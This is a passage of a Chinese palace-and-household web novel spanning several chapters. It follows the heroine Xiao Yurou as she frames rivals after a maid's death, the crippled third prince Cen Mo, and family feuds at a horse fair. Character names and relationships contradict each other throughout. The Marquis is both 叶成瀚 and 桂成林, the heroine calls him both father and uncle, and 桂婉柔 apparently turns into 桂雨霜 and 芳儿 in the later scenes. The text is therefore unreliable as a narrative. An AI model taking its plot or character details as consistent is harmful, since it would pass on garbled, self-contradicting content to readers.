桂婉柔眼里噙着泪,不信岑陌会杀她,可她才往前走了一步,岑陌手里的刀直接朝她飞出。 "砰"的一声,擦着她的耳朵狠狠钉入她身后的木柱上。 桂婉柔感觉到耳朵上的温热慢慢滑落,对岑陌的喜欢终于变成羞恼,哽咽着说了句"三皇子会后悔的",哭着跑走了。 岑陌冷眼看着桂婉柔离去,眼底闪过一丝厌恶。他转身离开侯府,心中思绪万千。 他想起萧语柔说愿意嫁给自己的话,心中既欣喜又忐忑。她是否是真心?还是只因自己的身份地位? 岑陌握紧了拳头,眼底闪过一丝阴郁。无论如何,他都不会让萧语柔离开。即便她有朝一日变心,他也有办法让她永远留在身边。 夜色渐深,岑陌的身影消失在街道尽头。 静园内,一声尖叫划破了这份宁静。 萧语柔缓步走向杨柳的房间,眼底闪过一丝不易察觉的笑意。穆妈妈和几个丫鬟已经聚集在门口,脸上写满了惊恐。 萧语柔轻轻拨开众人,走进了房间。杨柳倒在地上,脖子上有一道狰狞的伤口,鲜血染红了她的衣襟。房间里弥漫着浓重的血腥味,一旁地上还有一只打翻的药碗。 "好生凄惨。"萧语柔轻声说道,语气里听不出什么悲伤。她的目光在房间内扫视,似乎在寻找什么线索。 穆妈妈狠狠地瞪了萧语柔一眼,心中怒火中烧:"七小姐,这可不是开玩笑的时候!" 萧语柔不以为意,转身对凌明说:"大师,您看这是何等邪祟所为?" 凌明捻着佛珠,他心里清楚,这一切都是人为,可嘴上却说:"阿弥陀佛,此乃怨气极重之邪祟所为。" 穆妈妈闻言,脸色更加难看:"大师,可有办法除掉这邪祟?" 凌明沉吟片刻,说:"需布下九宫阵,以香火祭天,方能驱除。" 萧语柔在一旁听着,嘴角微微上扬。她的手指无意识地摩挲着衣袖,似乎在思考着什么。 就在此时,叶成瀚带着一群人匆匆赶来。"这是怎么回事?"他厉声问道,目光在房间里扫视一圈。 穆氏紧随其后,看到杨柳的尸体,险些晕厥过去。她的脸色苍白,身子摇摇欲坠,连忙扶住了门框。 "侯爷,是、是邪祟作祟啊!"穆妈妈哭诉道,声音里带着一丝颤抖。 叶成瀚冷哼一声,显然不信这套说辞。他的目光最后落在了萧语柔身上,眼中闪过一丝复杂的神色。 "七丫头,你怎么看?"他沉声问道。 萧语柔微微一笑,从容不迫地说:"父亲,孩儿以为,此事蹊跷,恐怕另有隐情。" 她的目光在穆氏和穆妈妈身上扫过,似乎在暗示着什么。 穆氏听了这话,脸色顿时变得煞白:"你、你这是什么意思?"她结结巴巴地问道,声音里带着一丝慌乱。 萧语柔不答,只是淡淡地看了穆氏一眼。那眼神,仿佛能看透人心。穆氏在这目光下不由自主地退后了半步。 叶成瀚沉思片刻,随即下令:"来人,封锁静园,彻查此事!" 穆氏闻言,险些站立不稳。她的手紧紧攥着衣袖,指节泛白。 萧语柔看着这一切,心中暗暗盘算。她的目光在房间内游移,似乎在寻找着什么。 "舅舅,"萧语柔忽然开口,"明萝有一事不明,还请舅舅解惑。" 叶成瀚看向自己这个聪慧的侄女,示意她继续说下去。 "为何要在这个时候举行什么驱邪仪式?"萧语柔问道,语气中带着一丝好奇。这个问题,直指穆氏的痛处。 穆氏脸色骤变,眼中闪过一丝慌乱。她的嘴唇微微颤抖,似乎想说什么,却又说不出口。 叶成瀚若有所思地看了穆氏一眼,眼中闪过一丝锐利的光芒。 "是啊,为何要在这个时候?"他冷冷地问道。 穆氏张了张嘴,却说不出话来。她的目光躲闪,不敢与叶成瀚对视。 就在这时,一个小丫鬟跑了进来,手里拿着一样东西。"侯爷,我们在园子里发现了这个!"她气喘吁吁地说道。 叶成瀚接过那样东西,脸色顿时变得铁青。那是一把沾满鲜血的匕首。 萧语柔看着这一幕,心中暗暗松了一口气。她知道,胜利的天平已经开始倾斜。 "舅舅,"萧语柔再次开口,"这匕首看起来很眼熟,似乎是府中常用的那种。" 叶成瀚闻言,目光变得更加锐利。他的视线在房间内的每个人脸上扫过,似乎在寻找可疑之处。 "既然如此,那就彻查府中所有人。"叶成瀚沉声说道,"无论是谁,只要与此事有关,绝不轻饶!" 第五十章 煞星 风吹过静园,树叶沙沙作响。凌明双目紧闭,一派高深莫测。众人屏息静气,连大气也不敢出。桂成林面色阴沉,目光如刀般锐利。 突然,凌明睁开眼睛,厉声喝道:"妖物,哪里逃!" 他几步跨出静园,众人连忙跟上。凌明径直走向一处庭院,指着桃花树道:"快,邪祟钻入此处,这里定有邪祟容器!" 穆妈妈愣住了,这不是四小姐的院子吗?她欲言又止,但桂成林已冷冷下令:"挖。" 小厮们手脚麻利,三下五除二,挖出一块玉佩。桂威瞳孔骤缩,声音微颤:"这是驸马爷的玉佩!" 桂成林目光一凛,厉声否认:"不是!"驸马遗物早已被长公主带走,府中不该有留存。他沉浸在愤怒中,未察觉玉佩的异常。 桂婉柔闻声而出,小心翼翼道:"爹爹可是不喜欢这桃树?女儿这就叫人将它挖走,换上……" 凌明突然指着桂婉柔喝道:"极煞之人!" 桂婉柔吓得连连后退,慌乱辩解:"大师说什么?" 穆妈妈急忙打圆场:"大师是不是认错人了,眼前这位是我们府里的嫡四小姐,怎么会是极煞之人呢?" 凌明坚持己见:"贫僧并未弄错。就算侯夫人许诺贫僧万两白银,但贫僧也不能置侯府这么多人命不顾,此煞女煞气渐浓,以前尚有侯爷以命火压制,尚无端倪,但近来侯爷命火黯淡,此煞女已隐隐有反噬征兆。" 穆妈妈正欲反驳,一个小厮匆匆跑来:"侯爷,隔壁的三皇子派人来问,侯府是不是出了什么事,需不需要他来帮忙?" 桂成林眉头紧锁,怒斥穆妈妈:"够了!" 桂婉柔含泪上前:"爹爹,婉柔不是煞星……"她萧萧可怜的模样,让凌明也有些动容。 桂成林心中怒火更盛,冷冷道:"你好好在屋子里呆着。" 他邀请凌明去书房详谈,却被婉拒。穆妈妈不甘心就此罢休,追了上去。 桂成林冷冷下令:"夫人一贯贤淑温良,最近却屡屡生事,想来想要我侯府不得安宁的人不少。不过,就凭你一个下贱婆子,也配?拉下去,打三十板子,赶回穆家。" 穆妈妈脸色惨白,跪地求饶。见桂成林不为所动,她咬牙道:"侯爷,杨柳被七小姐设计杀害,这总是事实,您难道要放过她吗?奴婢们的命,难道就真的一文不值?" 这番话,让在场的下人全部低头不语。纱窗趁机上前作证:"侯爷,奴婢可以作证,杨柳是被七小姐所害,当时那屋里虽然没人,但地上却有一个泼洒的药碗。都知道七小姐擅长医术,指不定是七小姐给杨柳下了什么药,让她精神恍惚下自尽的!" 桂成林烦躁地看向萧语柔。本以为她会吓得泣不成声,却见她只是眉眼微垂着说:"可那药,是柳大夫开的啊。" 陆妈妈恍然大悟:"是啊,前几天小姐特意请柳大夫来瞧过杨柳,柳大夫还开了药,后来小姐更是让柳大夫亲自煎药,让他每日往杨柳跟前送。这药碗我们都没经手的,若是下药,也该是柳大夫下了药!" 穆妈妈和纱窗都没想到还有这一出。 桂成林不耐烦地让人立即去查,一查,果然如同陆妈妈所言,这几日静园的人几乎都没靠近过杨柳的房间。 纱窗还想争辩,桂成林不耐地一脚将她踹到地上:"跟穆妈妈一并处置了。" 就在桂成林迟疑间,萧语柔带着几分失落的说:"下人的命也是命,穆妈妈既然不信,不如让官府去查吧,也好还我一个清白。" 桂成林无奈,只得应允。 穆氏院中,穆氏眉头紧锁。桂辰坐立不安,欲言又止。 "母亲,此事恐怕另有隐情。"他试图为萧语柔开脱,"七妹妹初来乍到,怎会有如此手段?" 穆氏冷眼一扫,"你是说你亲妹妹是煞星?" 桂辰语塞,只得告辞离去。穆氏望着儿子背影,又气又无奈。 桂婉柔哭得梨花带雨:"娘,我的清誉怎么办?这流言若传出去,还有哪家愿意娶我?" 穆氏心疼女儿,恨意更深。她端起茶盏,下意识等人续茶。一转头,才想起穆妈妈已不在身边。 桂婉柔小心翼翼道,"娘,要不求求爹爹,把穆妈妈接回来?" 穆氏沉默片刻,摇头拒绝。穆妈妈知道太多秘密,若心生芥蒂,后果不堪设想。 春蝶进来续茶,穆氏忽觉她身形微变:"你最近胖了?" 春蝶低头,"是……是吃得多了些。"说着,下意识护住腹部。 穆氏眼神一凛,立即唤人,"给我盯紧春蝶,看她跟哪个男人来往!" 吩咐完,又听闻桂成林宿在金姨娘处。穆氏冷笑一声。 国舅府中,南无月醉生梦死。美人在怀,佳酿入喉。 他慵懒抬眼,"本公子该如何是好?" 美人娇笑献策,"娶回来,再冷落她,让她看公子与我们欢好,嫉妒而死。" 南无月兴味索然,忽想起一双清冷眼眸。"萧语柔……"他低喃,眼中闪过异色。 脑海中浮现那张清丽脱俗的面容,南无月忽有了主意。 "若能让她嫉妒,倒也有趣。"他勾唇一笑,"岑陌定会气得发狂。" 他突发奇想,决定参加马会。 皇后得知消息,面上不动声色。"既是赐给了岑陌,又有何妨?"她语带讥诮。 凤冠微晃,宫人噤若寒蝉。 "都怪本宫肚子不争气。"皇后自嘲一笑,"这么多年也没生下一儿半女,白占了皇后之位。" 往事重提,她眼中闪过一丝懊悔。"当年若非长公主插手,岑陌该养在本宫名下。可惜,他没这般好命。" "十五元宵,岑陌和乐宁县主进宫……"皇后沉吟片刻,"礼物备两份,另一份赏给枝家小姐。" 她轻笑,眼中闪过精明算计。 静园内,萧语柔思绪万千。她从叫柳大夫为杨柳看病开始,就已布下这盘棋局。如意院桃树下的小剑玉佩,不但让煞星之名落到桂婉柔头上,还除掉了穆妈妈。 至于柳大夫被关入大牢,想必也另有用意。 穆府内,穆氏心事重重。她派人盯着桂辰,又暗中调查春蝶。若春蝶真敢勾引桂辰,定让她步杨柳后尘! 穆氏回想往事,与桂成林的恩爱早已不复存在。如今连嫡女都不顾,庶女更是无足轻重。也罢,就让他尝尝心痛的滋味。 叶府内外,暗潮汹涌。穆氏算计重重,桂婉柔忧心忡忡,桂辰左右为难。谁也不知,这场风波背后,究竟隐藏着怎样的秘密。 府外流言如潮水般汹涌,桂成林连日发怒,府中下人战战兢兢。岑陌的小礼物频频送至静园,桂玥也来得愈发勤了。 第五十一章 消息 这日,萧语柔刚从午睡中醒来,就听紫萱禀报:"六小姐又来了。" 萧语柔微微蹙眉,起身整理衣裳。她缓步走出,只见桂玥正立在书案旁,目光落在一本厚重的医方上。 "六姐姐也对医书感兴趣?"萧语柔轻声问道。 桂玥一惊,慌忙收回手。 她勉强笑道:"这字迹真是好看,我想借来练习。" 萧语柔心中了然,这医方正是岑陌所抄。她婉言谢绝:"若要练字,我这有更适合的字帖。"说着取出几本递给桂玥。 桂玥接过,眼中闪过一丝失落。她从袖中取出一盒点心:"我做了些糕点,不知七妹妹喜欢否?" 萧语柔扫了一眼,都是她曾提过岑陌爱吃的。她心中暗叹,却只道:"六姐姐有心了。" 桂玥又絮絮叨叨说要为萧语柔和岑陌做络子,问岑陌喜欢什么颜色。萧语柔含糊应付,送走桂玥后,在窗前坐了许久。 几日后,马会如期而至。永宁伯府一行人浩浩荡荡而来,引得众人侧目窃窃私语。桂成林面色阴沉,强自镇定地带着穆氏步入会场。 萧语柔刚下马车,就遇到几位相熟的小姐。为首的韩婉热情邀她组队比赛:"乐宁,我们一起吧!" 话音未落,一阵马蹄声响起。岑燕燕翻身下马,冷眼扫视众人:"就你们几个泥鳅,也配和乐宁组队?" 韩婉脸色一变,讪讪告退。岑燕燕拉着萧语柔往里走,低声道:"小心那韩婉,她心狠着呢。去年害得自家表妹毁了容,从此再没人提起。" 萧语柔心中一凛,没想到这看似热情的韩婉竟如此心狠手辣。 两人正要进府,几个公子迎面走来。有人认出萧语柔,话里话外暗讽岑陌。 "三皇子那残废,来这马会作甚?" 岑燕燕勃然大怒,挥鞭就要抽打那人。萧语柔连忙拉住她,生怕闹出大事。 正当此时,一道清冷的声音传来:"本王残废与否,还轮不到你来评判。" 众人回头,只见岑陌缓步而来,面容清冷,目光如炬。那出言不逊的公子吓得魂飞魄散,连连磕头求饶。 岑陌转头看向萧语柔,眼中柔和了几分:"走吧,该入场了。" 萧语柔点点头,跟在岑陌身侧缓步前行。 马会正式开始,各家贵族纷纷入座。萧语柔坐在岑陌身边,目光不时瞟向他俊朗的侧脸。她想起桂玥,心中纠结,不知该如何开口询问岑陌的想法。 就在这时,一阵骚动传来,原来是皇上驾到。众人连忙起身行礼,萧语柔也跟着站起。她偷偷打量着这位传说中的九五之尊,心中忐忑不安。 皇上目光如电,在众人脸上一一扫过。当看到岑陌时,他眼中闪过一丝复杂的情绪。萧语柔察觉到岑陌身体微微一僵,不由得握紧了他的手。 岑陌回握住她,眼中流露出一丝感激。皇上收回目光,宣布马会正式开始。萧语柔松了口气。 第一场是马球赛,几位贵女跃跃欲试。岑燕燕兴致勃勃地拉着萧语柔要去参加,萧语柔犹豫不决。 "去吧,"岑陌轻声道,"我在这里看着。" 萧语柔点点头,跟随岑燕燕去了赛场。她骑上马,手握马球杆,心中却忐忑不安。 比赛开始,马蹄声如雷,尘土飞扬。萧语柔小心翼翼地策马前行,生怕出什么意外。 忽然,一匹马失控冲向她。萧语柔大惊失色,手中马球杆掉落在地。 就在千钧一发之际,一道身影飞驰而来,萧语柔回头,竟是岑陌。 "你怎么来了?"她惊魂未定地问。 岑陌淡淡一笑:"我怕你出事。" 萧语柔心中一暖,靠在岑陌怀里,感受着他有力的心跳。 比赛暂停,众人围拢过来询问情况。岑陌面色如常,只说是意外。 萧语柔看着岑陌的侧脸,忽然明白了什么。 萧语柔站在凉亭外,眉头不自觉地皱起。 "西陲雪灾、蛮夷流窜、流民暴动……", "大公子的消息可靠吗?"萧语柔努力维持着表面的镇定,但眼底的担忧却怎么也藏不住。 钱涛苦笑一声,"七妹妹,我也希望这只是谣言。但父亲不会无的放矢,朝中确实有人在运作此事。" "多谢大公子告知。"她勉强挤出一丝笑容,"我会将此事告诉三皇子的。" 萧语柔的目光却穿过人群,落在了岑陌身上。他端坐在那里,周身笼罩着一层无形的寒霜。无人敢靠近,仿佛他是一座孤岛。 萧语柔悄然落座于岑陌身侧,指尖轻轻触碰他的掌心,将一颗温润的梅子糖悄悄放入。岑陌微微一怔,低头看向手中那颗琥珀色的糖果,一丝暖意自掌心蔓延。他抬眼望向萧语柔,只见她婴儿肥的脸颊泛起淡淡红晕,眼中闪烁着期待的光芒。 "阿萝。"岑陌轻唤一声,眼底的寒霜渐渐消融。他凝视着萧语柔清澈的眸子,低沉的嗓音如同一缕春风拂过:"有我在。" 这句简单的承诺,让萧语柔心头一暖。她轻轻点头,目光中流露出一丝依赖。 桂婉柔远远望着这一幕,眼中闪过一抹复杂的情绪。她正欲上前,就在此时,一道女声自廊下传来,打破了这微妙的气氛。 "婉柔和乐宁县主也在,正好。"枝芷凝款步而来,目光在众人身上扫过。 "我奉贵妃娘娘之命,来问诸位下一场要押多少物资。" 桂婉柔眼珠一转,故作天真道:"那我也押一些吧,虽力量微薄,但能帮到北地受灾百姓,也算尽绵薄之力。" 柳夫人闻言,立刻附和道:"侯府小姐当真善良,果真人美心善。"她的话语中充满了恭维。 宁夫人也不甘示弱,带着宁婷凑了过来,笑吟吟道:"这不是新封的乐宁县主吗?不知县主要如何表示呢?" 桂婉柔急忙为萧语柔解围:"七妹妹一个孤女,只有嫁妆傍身,怎能让她破费?" 宁婷冷哼一声:"她那些嫁妆本就是侯府的,现在到她手里,倒是理直气壮地霸占了。"她的话语中充满了不屑。 齐夫人也冷笑道:"婉儿,你可别学这小家子气的行径,丢了龙都贵女的脸面。" 桂婉柔见状,心中暗喜,故意道:"七妹妹,要不你还是捐些吧,北地灾民实在可怜。"她的语气中带着几分诱导。 萧语柔垂眸,声音带着几分哽咽:"我早有此意,母亲留下的嫁妆里有五箱黄金,我便全捐了吧。"她的话语中似乎带着无奈和委屈。 岑陌眼中杀意一闪,却见萧语柔眼底明亮依旧,哪有半点泪意? 第五十二章 诋毁 岑涛看不过眼,出声道:"这本就是善捐会,母妃从未说过要逼人捐钱。"他的语气中带着几分不满。 柳夫人立刻反驳:"二皇子此言差矣,乐宁县主若是一毛不拔,岂不寒了他人之心?"。 萧语柔轻声道:"柳老夫人说得是,明萝愿意捐的。"她的语气平静,看不出丝毫情绪波动。 她吩咐紫萱去登记,桂婉柔见状,总觉得哪里不对劲。 桂婉柔正欲离开,却被宁婷拉住,只得耐着性子听她倾诉对萧语柔的不满。宁婷低声道:"你看她那副样子,分明就是在装模作样。" 岑涛安慰萧语柔:"乐宁,别伤心,千金散尽还复来。"他的语气中带着几分关切。 岑陌冷冷插话:"三皇子府还不至于缺这点钱。"他的话语中充满了警告的意味。 岑涛不以为意,转而问萧语柔:"听说你医术很好,能否帮我个忙?" 岑陌眼中寒光一闪:"宫里的御医不够吗?还是说,你就喜欢抢我的东西?"他的语气中带着几分不悦。 岑涛的笑容逐渐消散,俊朗的面容变得严肃起来。他望向岑陌,声音低沉:"三皇弟,你误会我了……" 岑陌冷冷地打断他:"你若没有这个意思,就离我远些。" 嘉贵妃听到这番对话,不悦地看了过来。她的目光掠过岑陌,落在岑涛身上:"涛儿,你陪我去花园走走吧,这里实在太闷了。" 岑涛应声而起,目光掠过萧语柔:"乐宁要一同前去吗?皇家别院的花园里有许多名贵花草。" "二殿下误会了,"萧语柔淡淡回应,"我并不喜欢。" 岑涛愣了一下,随即歉意地笑了笑:"是我唐突了。" 萧语柔皱眉,心中暗自思忖。难怪周围的人更喜欢岑涛,他出身好,长相俊朗,待人又平易近人。相比之下,岑陌生母是罪妃,虽然长相更胜一筹,却因少年时那场背叛断了双腿,性情也变得极其淡漠。 但在萧语柔心里,岑陌才是更好的那个。 嘉贵妃一行人离开后,院中顿时空旷起来。岑陌侧目看向萧语柔:"你为何不去?" 萧语柔往他身边挪了挪,柔声道:"因为殿下不去。" 岑陌微怔,转头看她。萧语柔正盈盈笑着,目光中满是温柔。 岑陌眼中闪过一丝讽刺:"我不需要谁可怜。" "我没有可怜你,"萧语柔认真地看着他,一字一顿地说,"我是喜欢你。" 岑陌听到这句话,仿佛连风声都慢了下来。他望着萧语柔真挚的眼神,感到脸上微微发热。他勉强维持着淡定,偏过头去看向马场,若无其事地说:"嗯,知道了。" 萧语柔暗自好笑,果然是个傲娇。 突然,她被马场角落的动静吸引了注意力。只见穆老夫人正与人争执,神色间满是倨傲。 "怎么了?"岑陌察觉到她的异样,问道。 "没事,"萧语柔摇摇头,"只是想起了一件旧事。殿下可曾听说过穆家早逝的老太爷?" 岑陌看她一副憋着坏水的模样,配合道:"没听说过。" 萧语柔来了兴致,开始讲述那段往事。她说到穆老夫人如何毒杀丈夫心爱的马匹,又是如何逼迫丈夫读书。 话音刚落,角落里突然传来一阵惨叫。众人循声望去,只见穆老夫人从马背上摔了下来,重重摔在地上。 "啊——"尖叫声此起彼伏。 林妈妈匆匆赶来,向二人禀报事情经过。原来是穆老夫人与人争执后,不顾劝阻要去驯马,结果被暴躁的御马踢了出去。 萧语柔眉梢轻挑,暗想这大概是穆老夫人在侯府吃了瘪,想找回场子吧。 她正要说什么,却见岑陌凑近她耳边,低声道:"所以阿萝讲这个故事,是想提醒我不要阻拦你的喜好?那阿萝喜欢什么呢,金银珠宝,还是……男色?" 萧语柔蹭地站起来,脸上泛起红晕。她还没来得及反驳,岑陌又幽幽地说:"钱涛说的,你喜欢我,只是因为我的脸。" 萧语柔皱眉,不明白大公子为何会说这样的话。 正想着,紫萱匆匆而来,说穆氏在找她。 萧语柔知道是为了穆老夫人的事,便起身告辞。 临走前,她郑重地对岑陌说:"殿下,我听说北地灾民暴动,朝中有人想让你去平乱。这件事朝中那么多将军能去,殿下一定、一定不能去。" 岑陌见她满眼担忧,微微一笑,点头应下。 待萧语柔走远,岑陌眼底那份邪气才显露出来。他低声自语:"我的阿萝,还真是好骗啊。" 林妈妈欲言又止,岑陌抬手制止了她。他望向南无月方才站立的位置,冷声问道:"南无月的爱妾找到了吗?" "找到了。"林妈妈应道。 岑陌眼中闪过一丝冷意:"告诉他,他何时娶了桂婉柔,他的爱妾就什么时候回家。" 他望着熙攘喧闹的会场,心中厌恶。可唯独那抹暖色,让他愿意暂时忍耐这喧嚣。 庭院深处,白雪覆盖的景致寂静无声。屋内却是另一番光景,人声嘈杂,气氛紧张。 萧语柔站在房间一角,目光平静地扫过满屋子的人。穆玉荷的尖锐嗓音刺破空气:"你必须救我祖母!" 萧语柔轻轻摇头,声音不卑不亢:"我并非全能,有些伤势确实超出我的能力范围。" 穆氏急切地插话:"明萝,你一定有办法的,对不对?你外祖母那么重的病都能治好……" "穆秋煜不是已经看过了吗?"萧语柔走上前,瞥了眼穆老夫人头上的血迹,"我不太擅长外伤。" "你根本就是不想救!"穆玉荷指着萧语柔,声音尖利,"觉得自己金贵了是吧?做了县主又嫁给三皇子,就在这儿拿乔了?这可是活生生一条人命!" 萧语柔神色不变:"连指着我鼻子骂的你,我当初也救了。我与夫人无仇无怨,为何故意不救?" "你……你定是恨我姑妈占了你的嫁妆,所以不肯救!"穆玉荷跳脚道。 屋内瞬间寂静。穆氏脸色难看,如坐针毡。 萧语柔轻声道:"舅母只是代我管着嫁妆,何来侵占?不能救,是因为我医术浅薄,的确救不了。" 萧太医被带来时,萧语柔默默退到一旁。她心知萧太医也无力回天,但并不多言。 "乐宁,听说你医术很好……"岑涛刚开口,穆玉荷就抢着道:"她不肯出手!" 岑涛不解:"为何?乐宁,你既学了医,见死不救岂非有违仁心。" 穆玉荷瞥见谷霜,忙道:"肯定是她记恨谷霜表姐,所以故意见死不救!" 萧语柔不禁觉得好笑,反问道:"我救不了,便是见死不救。那穆秋煜救不了,是不是故意谋杀?" 第五十三章 善恶终有报 话音刚落,门外传来谷夫人冷厉的声音:"如今我母亲性命攸关,你却只关心自己是不是被冤枉?" 谷夫人面色苍白,目光如刀般刺向萧语柔:"乐宁县主要怎么才肯救人?要本夫人给你跪下吗?" 萧语柔神色依旧平静,缓缓道:"我没有起死回生之术。若是有,我爹娘也不会早早去世。" 屋内的怒气顿时消散了几分。是啊,萧语柔若真有那般本事,怎会眼睁睁看着父母离世? 但谷夫人仍不依不饶:"好,真是好极了,你最好永远记得……" "记得什么?" 一个清冷的男声打断了谷夫人的话。岑陌缓缓推着轮椅进入房间,目光扫过在场众人:"记得你们是如何一群人合起伙来欺负她吗?" 谷夫人愣住了,不敢相信岑陌会为萧语柔说话。 "三皇子,此事是乐宁县主见死不救在先……" "就为了个救不活的人,你们如此诋毁她。"岑陌望着被众人围在中央的萧语柔,冷冷道,"那你们最好祈祷穆老夫人不要活过来。" 屋内众人打了个寒颤,难道救活了人,三皇子还要再杀不成? "三皇子!"谷夫人仍把岑陌当做那个对她女儿死心塌地的未来女婿,"你这是要威胁我,威胁枝家不成?" 岑陌目光冰冷:"枝家……是什么很了不起的人家么?" 众人感受到空气中弥漫的杀气,纷纷噤若寒蝉。 这时,萧太医的声音传来:"抱歉,老朽已经尽力了。" 穆氏和谷夫人不知是悲从中来还是下不来台,掩面哭着奔向穆老夫人身边。 萧语柔默默走到岑陌身边:"三皇子怎么来了?" "来提醒你,别见到个好看的男人,就以为是好人。"岑陌淡淡地说。 "知道啦。"萧语柔轻声应道,随手捡起一支断落的梅花把玩。 两人正要离开,身后传来谷霜的声音:"三皇子。" 谷霜追了出来,眼眶泛红:"我想向三皇子道歉,我母亲方才并非故意说那样的话,三皇子也知道,她就是那样的脾气,并无恶意。" 岑陌面无表情:"要道歉,也是给阿萝道歉。" 谷霜怔住了,语气中带着几分屈辱:"殿下还真是喜欢乐宁县主。" "她很好。"岑陌淡淡地说,"虽然她只是看上了我的脸,但我不是。" 萧语柔耳根微热,轻咳一声,推着岑陌的轮椅缓缓离开。 谷霜站在冷风中,目光扫过灌木丛里那个狼狈不堪的身影。她眉头微蹙,却没有立即上前。 "表姐,救我,救救我!"那人颤抖着爬出来,谷霜这才认出是穆家的四小姐桂婉柔。 "怎么是你?"谷霜惊讶道,"你不是应该在灵堂吗?" 桂婉柔泪眼婆娑,声音哽咽:"表姐,求你帮帮我。" 谷霜犹豫片刻,还是伸手将她拉了起来。"到底发生了什么?"她压低声音问。 桂婉柔抽噎着,支支吾吾说不出个所以然来。谷霜叹了口气,看了眼四周无人,便带着她躲到一旁的假山后。 "你先冷静下来,慢慢说。" 桂婉柔深吸一口气,眼中满是惊惶:"我、我被人欺负了。" 谷霜一愣,随即反应过来:"是谁?" "是、是南无月。"桂婉柔说出这个名字时,声音几不可闻。 谷霜心中一沉,她早就听闻这位国舅公子风流成性。"他强迫你的?"她追问道。 桂婉柔低下头,脸上泛起红晕:"不全是……我、我也有错。" 谷霜皱眉,没想到看似清纯的桂婉柔竟会做出这种事。"你打算怎么办?"她问。 桂婉柔抬头,眼中满是祈求:"表姐,你能不能帮我瞒下这件事?" 谷霜沉默片刻,缓缓摇头:"这种事哪是能瞒得住的。" 桂婉柔顿时慌了:"那、那怎么办?我不能让父亲知道,更不能让母亲知道啊!" 谷霜看着她惊慌失措的样子,心中不知是怜悯还是鄙夷。就在这时,远处传来脚步声。 两人同时屏住呼吸,谷霜小心翼翼地探头看去。只见萧语柔正缓步走来,身边跟着个俏丽的丫鬟。 谷霜赶紧缩回头,低声对桂婉柔说:"是七妹妹,你先躲着。" 桂婉柔点点头,蜷缩在假山后。谷霜整理了下衣衫,若无其事地走了出去。 萧语柔看到她,微微一笑:"表姐怎么在这儿?" 谷霜勉强笑了笑:"散散心。" 萧语柔点点头,似乎没有多想。两人并肩而行,谁都没有说话。 谷霜偷偷瞥了眼萧语柔,心中五味杂陈。 萧语柔似乎察觉到了她的情绪,轻声问道:"凌姐姐可是有心事?" 谷霜摇摇头,勉强笑道:"没什么,只是为老夫人的事伤心罢了。" 萧语柔叹了口气:"人生无常,谁能料到会发生这种事呢。" 谷霜点点头,不再言语。两人走到拐角处,萧语柔忽然停下脚步。 "表姐,"她转过身,目光灼灼,"你觉得桂婉柔怎么样?" 谷霜一愣,没想到她会突然问这个。"怎么突然问起她?"谷霜反问道。 萧语柔笑了笑,眼中闪过一丝深意:"没什么,只是觉得她今天有些不对劲。" 谷霜心中一紧,强装镇定道:"大概是为老夫人的事难过吧。" 萧语柔若有所思地点点头,没有再说什么。两人又走了一会儿,萧语柔告辞离开。 谷霜松了口气,赶紧回到假山后。桂婉柔还蜷缩在那里,看到她回来,眼中燃起希望。 "表姐,你帮帮我……" 谷霜叹了口气,知道这件事已经无法善了。 "我会想办法的,"她轻声说,"你先回灵堂吧,别让人起疑心。" 桂婉柔点点头,擦干眼泪,悄悄离开了。 一阵北风呜咽着刮过,谷霜不禁打了个寒颤。她环顾四周,确定无人后,快步朝灵堂走去。 白幡飘动,宛如冬日里的雪花,为这座曾经喜气洋洋的宅院蒙上一层阴霾。谷霜站在院子里,目光扫过墙上那抹刺眼的红漆,眉头不自觉地皱起。 "姨妈还好吗?"她轻声问道。 下人低头回答:"夫人在里头歇息,小姐可有要事?" 谷霜摇摇头,脑海中闪过桂雨霜那狼狈的模样。她犹豫片刻,终究没有多问:"你们找大夫给云芳看看吧,我把她安置在厢房了。" 话音未落,她已转身离去。 屋内,穆氏猛地睁开眼睛。"你们怎么看人的!"她压低声音怒斥,旋即匆匆起身朝后院奔去。 穆氏心中懊恼,原本打算趁马会时机悄悄处置桂雨霜,谁知母亲突然出事,耽搁了这么一会儿。桂雨霜居然跑出来,还求到了谷霜面前。所幸,那侄女向来冷漠。 第五十四章 欠债 推开厢房门,穆氏看到桂雨霜缩在床角,眼中闪过一丝冷意。 "母亲,芳儿知错了,"桂雨霜哭着求饶,声音里满是恐惧,"求您放过芳儿吧。" 穆氏冷冷地看着她:"你这孩子,母亲哪里对你不好?还是说,你一直这样看待母亲?" 她逼近桂雨霜,眼神如刀锋般锐利。桂雨霜想辩解,却浑身发抖,舌头仿佛打了结。穆氏伸手掐住她的下巴,逼她直视自己。 "母亲,我怀孕了,"桂雨霜颤抖着说出最后的筹码,"孩子是穆秋煜的,求您放过我。芳儿甘愿做妾,绝不会再惹事了。" 穆氏闻言,眼中闪过一丝异色。她松开手,语气突然缓和:"既然你诚心悔改,那就好生伺候吧。" 桂雨霜惊喜交加:"母亲,您当真不计较了?" 穆氏勾起嘴角,声音如蛊惑般轻柔:"不过你以后,可要乖乖听话。" 桂雨霜连连点头,小心翼翼地问:"那芳儿可以回侯府吗?" "自然,等办完你祖母的丧事。"穆氏微笑着说。 桂雨霜心中暗喜,以为穆氏真的放过了自己。她不知道,这不过是暴风雨前的宁静。 与此同时,侯府内一片混乱。桂成林怒气冲冲地站在前院,瞪着眼前涌进来的百姓,额头青筋暴起。 "到底怎么回事?"他厉声问道。 桂威低声回答:"夫人这几年在外放了印子钱。最近家家户户缺钱,他们说近一年没收到利息了。" 桂成林一阵眩晕,咬牙切齿:"她怎么敢!"朝廷明令禁止官家放印,这事若传出去,丢人现眼。他升迁之路本就坎坷,御史台一直盯着他。若再闹出人命,这爵位怕是保不住了。 "去找管家和账房,先把账结了。"桂成林沉声道。 桂威应声而去,很快带来焦管家和账房。焦管家满面愁容,战战兢兢地喊了声"侯爷"。 桂成林冷眼看着他们,心中怒火难平。他万万没想到,家中竟藏着这么一个定时炸弹。 与此同时,萧语柔站在静园门口,眉头紧锁。她刚从陆妈妈口中得知前院的骚动,心中五味杂陈。 "去告诉外祖母,让她马上派人接管小库房。"萧语柔低声吩咐陆妈妈。 陆妈妈领命而去,萧语柔站在原地,目光深沉。她想起方才在桂成林面前的表现,嘴角勾起一抹难以察觉的冷笑。 萧语柔径直回到自己的院子。紫萱为她沏了一杯热茶,轻声问道:"小姐,接下来要做什么?" 萧语柔抿了一口茶,眉头微皱:"等。" "等什么?"紫萱不解。 萧语柔没有回答,只是静静地望着窗外。院子里的梅花含苞待放,在寒风中微微颤抖。 就在这时,一阵急促的脚步声传来。陆妈妈匆匆跑进院子,气喘吁吁地说:"小姐,大事不好了!侯爷让人搜查整个府邸,说是要找什么重要的文书。" 